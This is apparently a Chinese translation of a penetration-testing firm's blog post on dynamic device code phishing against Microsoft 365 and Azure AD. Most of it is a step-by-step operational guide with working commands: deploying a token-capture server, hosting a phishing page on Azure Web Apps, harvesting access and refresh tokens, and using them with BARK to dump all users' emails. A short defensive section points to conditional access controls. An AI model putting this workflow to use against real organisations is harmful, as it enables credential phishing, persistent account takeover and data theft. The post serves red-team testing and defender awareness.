动态设备代码钓鱼攻击技术剖析

本文深入解析动态设备代码钓鱼技术,涵盖设备代码生成机制、访问令牌与刷新令牌的工作原理,以及如何利用Azure Web Apps扩展攻击时间窗口,并详细介绍TokenTactics工具的使用方法和防御措施。

动态设备代码钓鱼攻击 - Black Hills信息安全公司

引言

本篇博客旨在简要介绍设备代码、访问令牌和刷新令牌的概念。重点阐述建立和操作动态设备代码钓鱼活动的技术实现方法。我将详细讲解攻击流程中的关键环节,帮助攻击者和防御者根据各自目标更好地理解重点防范和检测领域。

代码机制

要理解"设备代码"的概念,可以回想购买新智能电视时的场景。电视预装了Netflix或Hulu等应用,使用这些应用需要登录账户。显然,我们不想整天按电视遥控器输入24字符的密码。

这时设备代码就派上用场。通过访问https://netflix.com/tv8,系统会提示输入电视上显示的代码:

在计算机输入正确代码后,电视即完成登录。设备代码钓鱼采用相同原理:作为攻击者,我们生成代码提供给用户,该代码对应https://microsoft.com/devicelogin:

当用户使用代码登录时,我们将获得包含访问令牌和刷新令牌的凭证包。

令牌系统

访问令牌(access_tokens)正如其名,是允许用户安全访问Microsoft端点(如MSGraph)的JSON Web令牌。访问令牌的有效期通常为1小时。

刷新令牌(refresh_tokens)允许用户在90天内刷新其access_token,这是在目标环境中保持持久访问的有效方式。

TokenTactics工具

TokenTactics是由Bobby Cooke @0xBoku和我共同开发的PowerShell模块,用于生成设备代码和刷新令牌。其核心功能是能够将令牌刷新到不同的受众端点。例如,如果通过钓鱼获取了MSGraph令牌,可以将其刷新到Outlook受众端点,从而获得Outlook的access_token。该令牌可通过BurpSuite在POST请求中使用,在浏览器中访问Outlook。这只是其中一个应用场景。TokenTactics还可用于生成发送给目标用户的设备代码。

传统设备代码钓鱼

最初的设备代码钓鱼需要攻击者在PowerShell中生成代码,通过电子邮件等方式发送给目标用户。这种方法的主要缺点是设备代码具有15分钟的超时窗口,这在钓鱼活动中是非常严格的时间限制。如果目标用户在此时间范围内未看到钓鱼信息,攻击就会失败。

动态设备代码钓鱼

为提高钓鱼成功率,我们需要延长这15分钟的机会窗口。为此,我使用Azure Web Apps将静态HTML页面部署到".azurewebsite.net"站点。该站点仅作为前端,JavaScript执行设备代码API的GET请求,向用户显示代码,并向攻击者发送"capturecode"。当目标用户登录时,我们在运行TokenTactics的虚拟私有服务器上接收令牌包。

这种方法扩展了我们的机会窗口,因为用户访问站点时会生成设备代码,然后15分钟的超时窗口才开始。由于用户已访问站点,他们有可能在此窗口期内继续登录。

为更好理解此流程,我创建了示意图:

图表关键点:

  • 源IP始终是设备代码生成的位置
  • 15分钟计时从访问azurewebsite开始
  • 使用CORS-Anywhere将标头代理回用户浏览器并在浏览器中呈现代码生成
  • 令牌在捕获服务器上接收

防御措施

本篇博客不深入探讨防御措施的实施,但提供一些Microsoft文档中的良好起点:建议实施条件访问和登录保护,以警告或阻止用户从未知位置登录。不要盲目允许iPhone或Android设备,因为TokenTactics可以伪装这些设备。

初始防御措施:

  • 调查风险Azure Active Directory身份保护
  • Azure AD条件访问
  • Azure AD身份保护
  • 在Azure Active Directory中使用网络和国家/地区限制

部署实施

首先需要使用Azure CLI登录。可以通过az login --use-device-code登录。

从PowerShell终端克隆TokenTactics:

1
git clone https://github.com/rvrsh3ll/TokenTactics

克隆Azure-App-Tools:

1
git clone https://github.com/rvrsh3ll/Azure-App-Tools

部署捕获服务器:

1
2
3
cd TokenTactics/capturetokenphish
import-module .\deploycaptureserver.ps1
Invoke-DeployCaptureServer -ResourceGroup YOURRESOURCEGROUP -location eastus -vmName codecapture -vmPublicDNSName msftdevicecodes -pubKey ./mykey.pub

这将部署Azure虚拟机,设置FQDN名称,获取LetsEncrypt证书并克隆TokenTactics。

SSH连接到服务器:

1
2
ssh -i mykey azureuser@<vmPublicDNSName>
cd TokenTactics

部署登录页面:

1
2
cd Azure-App-Tools/DynamicDeviceCodes
code index.html  # 使用VSCode打开

将"MyCaptureServer"更改为您的Azure FQDN并保存。

使用唯一的互联网子域名部署站点:

1
az webapp up --location eastus --resource-group YOURRESOURCEGROUP --name YOURNEWSUBDOMAIN --html --sku FREE

站点将部署到https://YOURNEWSUBDOMAIN.azurewebsites.net。

在SSH会话中保持打开的PowerShell提示符中运行捕获服务器:

1
python3 capturetokenphish.py -i 0.0.0.0 -p 8443

浏览您的站点查看设备代码生成。

脚本发送通过user_code生成的设备代码,并通过"GET /id?TOKEN"请求发送到捕获服务器。服务器接收到该字符串后,加载PowerShell以调用TokenTactics。

用户输入设备代码后,我们应接收访问和刷新令牌,它们将保存到TokenLog.log。

捕获后操作

可以在https://jwt.io解析接收到的access_token,或使用Token Tactics的"Parse-JWTtoken"cmdlet。这将提供重要信息,如令牌的用户名。

令牌可用于您喜欢的云枚举和黑客工具。例如使用BARK转储所有用户电子邮件地址:

1
2
3
4
git clone https://github.com/BloodHoundAD/BARK
cd BARK
Import-Module .\Bark.ps1
$AllUsers = Get-AllAzureADUsers -Token <Insert token eyJ..> -ShowProgress

结语

需要注意的是,设备代码生成的IP地址将显示在日志中。在规避或实施条件访问策略时要牢记这一点。

此外,身份验证包会携带MFA,因此未来的代码刷新目前不需要MFA。

Microsoft令牌是验证和访问Azure及Microsoft 365资源的强大方式。使用可用的Microsoft工具来预防、检测和响应令牌滥用。希望本篇博客能帮助防御者更好地保护其网络,同时为攻击者提供另一种测试和增强企业防御的技术。

Black Hills信息安全公司(BHIS)使用动态设备代码钓鱼等技术对其持续测试客户进行评估,检测与Azure Active Directory、Microsoft 365及其相关安全边界相关的钓鱼预防、检测和响应能力。

BHIS在动态设备代码钓鱼方面取得了不同程度的成功:有些客户将钓鱼检测为"凭据钓鱼";有些客户的自动化解决方案检测到电子邮件向量并从收件箱中删除邮件;其他客户则实施了严格的条件访问策略来缓解此攻击。如博客所述,攻击链中存在关键检测和预防点,但我们仍要测试安全假设。

信任但需验证。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计